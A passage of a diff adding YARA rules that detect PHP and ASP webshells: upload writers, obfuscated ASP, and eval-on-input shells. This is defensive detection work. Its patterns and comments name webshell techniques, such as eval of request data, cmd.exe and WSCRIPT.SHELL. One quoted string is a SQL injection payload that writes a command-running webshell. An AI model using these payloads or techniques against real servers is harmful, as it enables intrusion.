+        $sr5 = /\$_SERVER\s?\[HTTP_.{1,30}\]\(\$_SERVER\s?\[HTTP_/ wide ascii
+
+        //strings from private rule php_false_positive
+        // try to use only strings which would be flagged by themselves as suspicious by other rules, e.g. eval
+        // a good choice is a string with good atom quality = ideally 4 unusual characters next to each other
+        $gfp1  = "eval(\"return [$serialised_parameter" // elgg
+        $gfp2  = "$this->assert(strpos($styles, $"
+        $gfp3  = "$module = new $_GET['module']($_GET['scope']);"
+        $gfp4  = "$plugin->$_POST['action']($_POST['id']);"
+        $gfp5  = "$_POST[partition_by]($_POST["
+        $gfp6  = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+        $gfp7  = "The above example code can be easily exploited by passing in a string such as" // ... ;)
+        $gfp8  = "Smarty_Internal_Debug::start_render($_template);"
+        $gfp9  = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+        $gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+        $gfp11 = "(eval (getenv \"EPROLOG\")))"
+        $gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+
+    condition:
+        filesize < 500KB and not (
+            any of ( $gfp* )
+        )
+        and any of ( $sr* )
+}
+
+rule WEBSHELL_PHP_Writer
+{
+    meta:
+        description = "PHP webshell which only writes an uploaded file to disk"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021/04/17"
+        modified = "2023-07-05"
+        score = 50
+        hash = "ec83d69512aa0cc85584973f5f0850932fb1949fb5fb2b7e6e5bbfb121193637"
+        hash = "407c15f94a33232c64ddf45f194917fabcd2e83cf93f38ee82f9720e2635fa64"
+        hash = "988b125b6727b94ce9a27ea42edc0ce282c5dfeb"
+        hash = "0ce760131787803bbef216d0ee9b5eb062633537"
+        hash = "20281d16838f707c86b1ff1428a293ed6aec0e97"
+
+        id = "05bb3e0c-69b2-5176-a3eb-e6ba2d72a205"
+    strings:
+        $sus3 = "'upload'" wide ascii
+        $sus4 = "\"upload\"" wide ascii
+        $sus5 = "\"Upload\"" wide ascii
+        $sus6 = "gif89" wide ascii
+        //$sus13= "<textarea " wide ascii
+        $sus16= "Army" fullword wide ascii
+        $sus17= "error_reporting( 0 )" wide ascii
+        $sus18= "' . '" wide ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+        //strings from private rule capa_php_input
+        $inp1 = "php://input" wide ascii
+        $inp2 = /_GET\s?\[/ wide ascii
+        // for passing $_GET to a function
+        $inp3 = /\(\s?\$_GET\s?\)/ wide ascii
+        $inp4 = /_POST\s?\[/ wide ascii
+        $inp5 = /\(\s?\$_POST\s?\)/ wide ascii
+        $inp6 = /_REQUEST\s?\[/ wide ascii
+        $inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
+        // PHP automatically adds all the request headers into the $_SERVER global array, prefixing each header name by the "HTTP_" string, so e.g. @eval($_SERVER['HTTP_CMD']) will run any code in the HTTP header CMD
+        $inp15 = "_SERVER['HTTP_" wide ascii
+        $inp16 = "_SERVER[\"HTTP_" wide ascii
+        $inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
+        $inp18 = "array_values($_SERVER)" wide ascii
+        $inp19 = /file_get_contents\("https?:\/\// wide ascii
+
+        //strings from private rule capa_php_write_file
+        $php_multi_write1 = "fopen(" wide ascii
+        $php_multi_write2 = "fwrite(" wide ascii
+        $php_write1 = "move_uploaded_file" fullword wide ascii
+        $php_write2 = "copy" fullword wide ascii
+
+    condition:
+        //any of them or
+        (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and (
+            any of ( $inp* )
+        )
+        and (
+        any of ( $php_write* ) or
+        all of ( $php_multi_write* )
+        )
+        and
+        (
+            filesize < 400 or
+            (
+                filesize < 4000 and 1 of ( $sus* )
+            )
+        )
+}
+
+rule WEBSHELL_ASP_Writer
+{
+    meta:
+        description = "ASP webshell which only writes an uploaded file to disk"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021/03/07"
+        modified = "2023-07-05"
+        score = 60
+        hash = "df6eaba8d643c49c6f38016531c88332e80af33c"
+        hash = "83642a926291a499916e8c915dacadd0d5a8b91f"
+        hash = "5417fad68a6f7320d227f558bf64657fe3aa9153"
+        hash = "97d9f6c411f54b56056a145654cd00abca2ff871"
+        hash = "fc44fd7475ee6c0758ace2b17dd41ed7ea75cc73"
+
+        id = "a1310e22-f485-5f06-8f1a-4cf9ae8413a1"
+    strings:
+        $sus1 = "password" fullword wide ascii
+        $sus2 = "pwd" fullword wide ascii
+        $sus3 = "<asp:TextBox" fullword nocase wide ascii
+        $sus4 = "\"upload\"" wide ascii
+        $sus5 = "\"Upload\"" wide ascii
+        $sus6 = "gif89" wide ascii
+        $sus7 = "\"&\"" wide ascii
+        $sus8 = "authkey" fullword wide ascii
+        $sus9 = "AUTHKEY" fullword wide ascii
+        $sus10= "test.asp" fullword wide ascii
+        $sus11= "cmd.asp" fullword wide ascii
+        $sus12= ".Write(Request." wide ascii
+        $sus13= "<textarea " wide ascii
+        $sus14= "\"unsafe" fullword wide ascii
+        $sus15= "'unsafe" fullword wide ascii
+        $sus16= "Army" fullword wide ascii
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+        //strings from private rule capa_asp_input
+        // Request.BinaryRead
+        // Request.Form
+        $asp_input1 = "request" fullword nocase wide ascii
+        $asp_input2 = "Page_Load" fullword nocase wide ascii
+        // base64 of Request.Form(
+        $asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+        $asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+        $asp_xml_method1 = "GET" fullword wide ascii
+        $asp_xml_method2 = "POST" fullword wide ascii
+        $asp_xml_method3 = "HEAD" fullword wide ascii
+        // dynamic form
+        $asp_form1 = "<form " wide ascii
+        $asp_form2 = "<Form " wide ascii
+        $asp_form3 = "<FORM " wide ascii
+        $asp_asp   = "<asp:" wide ascii
+        $asp_text1 = ".text" wide ascii
+        $asp_text2 = ".Text" wide ascii
+
+        //strings from private rule capa_asp_write_file
+        // $asp_write1 = "ADODB.Stream" wide ascii # just a string, can be easily obfuscated
+        $asp_always_write1 = /\.write/ nocase wide ascii
+        $asp_always_write2 = /\.swrite/ nocase wide ascii
+        //$asp_write_way_one1 = /\.open\b/ nocase wide ascii
+        $asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+        $asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+        $asp_cr_write1 = "CreateObject(" nocase wide ascii
+        $asp_cr_write2 = "CreateObject (" nocase wide ascii
+        $asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+        $asp_streamwriter2 = "filestream" fullword nocase wide ascii
+
+    condition:
+        (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and (
+            any of ( $asp_input* ) or
+        (
+            $asp_xml_http and
+            any of ( $asp_xml_method* )
+        ) or
+        (
+            any of ( $asp_form* ) and
+            any of ( $asp_text* ) and
+            $asp_asp
+        )
+        )
+        and (
+        any of ( $asp_always_write* ) and
+        (
+            any of ( $asp_write_way_one* ) and
+            any of ( $asp_cr_write* )
+        ) or (
+            any of ( $asp_streamwriter* )
+        )
+        )
+        and
+        ( filesize < 400 or
+        ( filesize < 6000 and 1 of ( $sus* ) ) )
+}
+
+rule WEBSHELL_ASP_OBFUSC
+{
+    meta:
+        description = "ASP webshell obfuscated"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/12"
+        modified = "2023-07-05"
+        hash = "ad597eee256de51ffb36518cd5f0f4aa0f254f27517d28fb7543ae313b15e112"
+        hash = "e0d21fdc16e0010b88d0197ebf619faa4aeca65243f545c18e10859469c1805a"
+        hash = "54a5620d4ea42e41beac08d8b1240b642dd6fd7c"
+        hash = "fc44fd7475ee6c0758ace2b17dd41ed7ea75cc73"
+        hash = "be2fedc38fc0c3d1f925310d5156ccf3d80f1432"
+        hash = "3175ee00fc66921ebec2e7ece8aa3296d4275cb5"
+        hash = "d6b96d844ac395358ee38d4524105d331af42ede"
+        hash = "cafc4ede15270ab3f53f007c66e82627a39f4d0f"
+
+        id = "3960b692-9f6f-52c5-b881-6f9e1b3ac555"
+    strings:
+        $asp_obf1 = "/*-/*-*/" wide ascii
+        $asp_obf2 = "u\"+\"n\"+\"s" wide ascii
+        $asp_obf3 = "\"e\"+\"v" wide ascii
+        $asp_obf4 = "a\"+\"l\"" wide ascii
+        $asp_obf5 = "\"+\"(\"+\"" wide ascii
+        $asp_obf6 = "q\"+\"u\"" wide ascii
+        $asp_obf7 = "\"u\"+\"e" wide ascii
+        $asp_obf8 = "/*//*/" wide ascii
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+        //strings from private rule capa_asp_payload
+        $asp_payload0  = "eval_r" fullword nocase wide ascii
+        $asp_payload1  = /\beval\s/ nocase wide ascii
+        $asp_payload2  = /\beval\(/ nocase wide ascii
+        $asp_payload3  = /\beval\"\"/ nocase wide ascii
+        // var Fla = {'E':eval};  Fla.E(code)
+        $asp_payload4  = /:\s{0,10}eval\b/ nocase wide ascii
+        $asp_payload8  = /\bexecute\s?\(/ nocase wide ascii
+        $asp_payload9  = /\bexecute\s[\w"]/ nocase wide ascii
+        $asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
+        $asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
+        $asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
+        $asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
+        $asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
+        $asp_multi_payload_one2 = "addcode" fullword wide ascii
+        $asp_multi_payload_one3 = /\.run\b/ wide ascii
+        $asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
+        $asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
+        $asp_multi_payload_two3 = "BuildManager" fullword wide ascii
+        $asp_multi_payload_three1 = "System.Diagnostics" wide ascii
+        $asp_multi_payload_three2 = "Process" fullword wide ascii
+        $asp_multi_payload_three3 = ".Start" wide ascii
+        // this is about "MSXML2.DOMDocument" but since that's easily obfuscated, lets not search for it
+        $asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
+        $asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
+        $asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
+
+        // execute cmd.exe /c with arguments using ProcessStartInfo
+        $asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
+        $asp_multi_payload_five2 = ".Start" nocase wide ascii
+        $asp_multi_payload_five3 = ".Filename" nocase wide ascii
+        $asp_multi_payload_five4 = ".Arguments" nocase wide ascii
+
+
+        //strings from private rule capa_asp_write_file
+        // $asp_write1 = "ADODB.Stream" wide ascii # just a string, can be easily obfuscated
+        $asp_always_write1 = /\.write/ nocase wide ascii
+        $asp_always_write2 = /\.swrite/ nocase wide ascii
+        //$asp_write_way_one1 = /\.open\b/ nocase wide ascii
+        $asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+        $asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+        $asp_cr_write1 = "CreateObject(" nocase wide ascii
+        $asp_cr_write2 = "CreateObject (" nocase wide ascii
+        $asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+        $asp_streamwriter2 = "filestream" fullword nocase wide ascii
+
+        //strings from private rule capa_asp_obfuscation_multi
+        // many Chr or few and a loop????
+        //$loop1 = "For "
+        //$o1 = "chr(" nocase wide ascii
+        //$o2 = "chr (" nocase wide ascii
+        // not excactly a string function but also often used in obfuscation
+        $o4 = "\\x8" wide ascii
+        $o5 = "\\x9" wide ascii
+        // just picking some random numbers because they should appear often enough in a long obfuscated blob and it's faster than a regex
+        $o6 = "\\61" wide ascii
+        $o7 = "\\44" wide ascii
+        $o8 = "\\112" wide ascii
+        $o9 = "\\120" wide ascii
+        //$o10 = " & \"" wide ascii
+        //$o11 = " += \"" wide ascii
+        // used for e.g. "scr"&"ipt"
+
+        $m_multi_one1 = "Replace(" wide ascii
+        $m_multi_one2 = "Len(" wide ascii
+        $m_multi_one3 = "Mid(" wide ascii
+        $m_multi_one4 = "mid(" wide ascii
+        $m_multi_one5 = ".ToString(" wide ascii
+
+        /*
+        $m_multi_one5 = "InStr(" wide ascii
+        $m_multi_one6 = "Function" wide ascii
+
+        $m_multi_two1 = "for each" wide ascii
+        $m_multi_two2 = "split(" wide ascii
+        $m_multi_two3 = " & chr(" wide ascii
+        $m_multi_two4 = " & Chr(" wide ascii
+        $m_multi_two5 = " & Chr (" wide ascii
+
+        $m_multi_three1 = "foreach" fullword wide ascii
+        $m_multi_three2 = "(char" wide ascii
+
+        $m_multi_four1 = "FromBase64String(" wide ascii
+        $m_multi_four2 = ".Replace(" wide ascii
+        $m_multi_five1 = "String.Join(\"\"," wide ascii
+        $m_multi_five2 = ".Trim(" wide ascii
+        $m_any1 = " & \"2" wide ascii
+        $m_any2 = " += \"2" wide ascii
+        */
+
+        $m_fp1 = "Author: Andre Teixeira - andret@microsoft.com" /* FPs with 0227f4c366c07c45628b02bae6b4ad01 */
+        $m_fp2 = "DataBinder.Eval(Container.DataItem" ascii wide
+
+
+        //strings from private rule capa_asp_obfuscation_obviously
+        $oo1 = /\w\"&\"\w/ wide ascii
+        $oo2 = "*/\").Replace(\"/*" wide ascii
+
+    condition:
+        filesize < 100KB and (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and
+        ( ( (
+            any of ( $asp_payload* ) or
+        all of ( $asp_multi_payload_one* ) or
+        all of ( $asp_multi_payload_two* ) or
+        all of ( $asp_multi_payload_three* ) or
+        all of ( $asp_multi_payload_four* ) or
+        all of ( $asp_multi_payload_five* )
+        )
+        or (
+        any of ( $asp_always_write* ) and
+        (
+            any of ( $asp_write_way_one* ) and
+            any of ( $asp_cr_write* )
+        ) or (
+            any of ( $asp_streamwriter* )
+        )
+        )
+        ) and
+        ( (
+        (
+            filesize < 100KB and
+            (
+                //( #o1+#o2 ) > 50 or
+                ( #o4+#o5+#o6+#o7+#o8+#o9 ) > 20
+            )
+        ) or (
+            filesize < 5KB and
+            (
+                //( #o1+#o2 ) > 10 or
+                ( #o4+#o5+#o6+#o7+#o8+#o9 ) > 5 or
+                (
+                    //( #o1+#o2 ) > 1 and
+                    ( #m_multi_one1 + #m_multi_one2 + #m_multi_one3 + #m_multi_one4 + #m_multi_one5 ) > 3
+                )
+
+            )
+        ) or (
+            filesize < 700 and
+            (
+                //( #o1+#o2 ) > 1 or
+                ( #o4+#o5+#o6+#o7+#o8+#o9 ) > 3 or
+                ( #m_multi_one1 + #m_multi_one2 + #m_multi_one3 + #m_multi_one4 + #m_multi_one5 ) > 2
+            )
+        )
+        )
+        or any of ( $asp_obf* ) ) or (
+        (
+            filesize < 100KB and
+            (
+                ( #oo1 ) > 2 or
+                $oo2
+            )
+        ) or (
+            filesize < 25KB and
+            (
+                ( #oo1 ) > 1
+            )
+        ) or (
+            filesize < 1KB and
+            (
+                ( #oo1 ) > 0
+            )
+        )
+        )
+        )
+        and not any of ( $m_fp* )
+}
+
+rule WEBSHELL_ASP_Generic_Eval_On_Input
+{
+    meta:
+        description = "Generic ASP webshell which uses any eval/exec function directly on user input"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-04-05"
+        hash = "d6b96d844ac395358ee38d4524105d331af42ede"
+        hash = "9be2088d5c3bfad9e8dfa2d7d7ba7834030c7407"
+        hash = "a1df4cfb978567c4d1c353e988915c25c19a0e4a"
+        hash = "069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6"
+
+        id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"
+    strings:
+        $payload_and_input0 = /\beval_r\s{0,20}\(Request\(/ nocase wide ascii
+        $payload_and_input1 = /\beval[\s\(]{1,20}request[.\(\[]/ nocase wide ascii
+        $payload_and_input2 = /\bexecute[\s\(]{1,20}request\(/ nocase wide ascii
+        $payload_and_input4 = /\bExecuteGlobal\s{1,20}request\(/ nocase wide ascii
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+    condition:
+        ( filesize < 1100KB and (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and any of ( $payload_and_input* ) ) or
+        ( filesize < 100 and any of ( $payload_and_input* ) )
+}
+
+rule WEBSHELL_ASP_Nano
+{
+    meta:
+        description = "Generic ASP webshell which uses any eval/exec function"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/13"
+        modified = "2023-04-05"
+        hash = "3b7910a499c603715b083ddb6f881c1a0a3a924d"
+        hash = "990e3f129b8ba409a819705276f8fa845b95dad0"
+        hash = "22345e956bce23304f5e8e356c423cee60b0912c"
+        hash = "c84a6098fbd89bd085526b220d0a3f9ab505bcba"
+        hash = "b977c0ad20dc738b5dacda51ec8da718301a75d7"
+        hash = "c69df00b57fd127c7d4e0e2a40d2f6c3056e0af8bfb1925938060b7e0d8c630f"
+        hash = "f3b39a5da1cdde9acde077208e8e5b27feb973514dab7f262c7c6b2f8f11eaa7"
+        hash = "0e9d92807d990144c637d8b081a6a90a74f15c7337522874cf6317092ea2d7c1"
+        hash = "ebbc485e778f8e559ef9c66f55bb01dc4f5dcce9c31ccdd150e2c702c4b5d9e1"
+        hash = "44b4068bfbbb8961e16bae238ad23d181ac9c8e4fcb4b09a66bbcd934d2d39ee"
+        hash = "c5a4e188780b5513f34824904d56bf6e364979af6782417ccc5e5a8a70b4a95a"
+        hash = "41a3cc668517ec207c990078bccfc877e239b12a7ff2abe55ff68352f76e819c"
+        hash = "2faad5944142395794e5e6b90a34a6204412161f45e130aeb9c00eff764f65fc"
+        hash = "d0c5e641120b8ea70a363529843d9f393074c54af87913b3ab635189fb0c84cb"
+        hash = "28cfcfe28419a399c606bf96505bc68d6fe05624dba18306993f9fe0d398fbe1"
+
+        id = "5f2f24c2-159d-51e1-80d9-11eeb77e8760"
+    strings:
+        $susasp1  = "/*-/*-*/"
+        $susasp2  = "(\"%1"
+        $susasp3  = /[Cc]hr\([Ss]tr\(/
+        $susasp4  = "cmd.exe"
+        $susasp5  = "cmd /c"
+        $susasp7  = "FromBase64String"
+        // Request and request in b64:
+        $susasp8  = "UmVxdWVzdC"
+        $susasp9  = "cmVxdWVzdA"
+        $susasp10 = "/*//*/"
+        $susasp11 = "(\"/*/\""
+        $susasp12 = "eval(eval("
+        $fp1      = "eval a"
+        $fp2      = "'Eval'"
+        $fp3      = "Eval(\""
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
